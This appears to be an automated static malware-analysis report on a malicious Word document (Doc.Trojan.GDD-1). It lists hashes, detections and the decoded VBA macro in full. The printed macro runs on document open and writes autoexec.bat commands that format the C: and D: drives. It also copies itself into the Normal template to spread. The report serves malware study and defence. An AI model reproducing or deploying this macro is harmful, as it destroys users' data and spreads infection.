Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea3ed438c93339f3…

MALICIOUS

Office (OLE)

26.5 KB Created: 2001-07-06 03:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 98a35b42f2586105dddcf2898b1a91ac SHA-1: 2f1564560cd73d8034a8e5ffcafc499a18ff01c9 SHA-256: ea3ed438c93339f3881560f3a8d13bd54070810f8bb4f955797d2c7fd680c05e
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro that executes upon opening the document. This macro writes commands to 'c:\autoexec.bat' that will attempt to format the C: and D: drives with the label 'FUCK'. This is a destructive action intended to render the system unusable.

Heuristics 3

  • ClamAV: Doc.Trojan.GDD-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.GDD-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1455 bytes
SHA-256: 59b5669555adcb9a622f20ecb595638e48ef47736214ac93ae639629e7394d1e
Detection
ClamAV: Doc.Trojan.GDD-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' it is a good day to die
Private Sub Document_Open()
 On Error Resume Next
 If Date > #6/1/01# Then
  Open "c:\autoexec.bat" For Output As #1
  Print #1, "@echo off"
  Print #1, "break = off"
  Print #1, "echo Y | c:\windows\command\format c: /v:FUCK"
  Print #1, "echo Y | c:\windows\command\format d: /v:FUCK"
  Close #1
 End If
  Application.Options.VirusProtection = True
 With Application.VBE.VBProjects.Item("Normal").VBComponents.Item("ThisDocument").CodeModule
  If .Lines(1, 1) <> "' it is a good day to die" Then
        .DeleteLines 1, .CountOfLines
        .AddFromString ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.CountOfLines)
  End If
 End With
 With ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule
  If .Lines(1, 1) <> "' it is a good day to die" Then
        .DeleteLines 1, .CountOfLines
        .AddFromString Application.VBE.VBProjects.Item("Normal").VBComponents.Item("ThisDocument").CodeModule.Lines(1, Application.VBE.VBProjects.Item("Normal").VBComponents.Item("ThisDocument").CodeModule.CountOfLines)
  End If
 End With
End Sub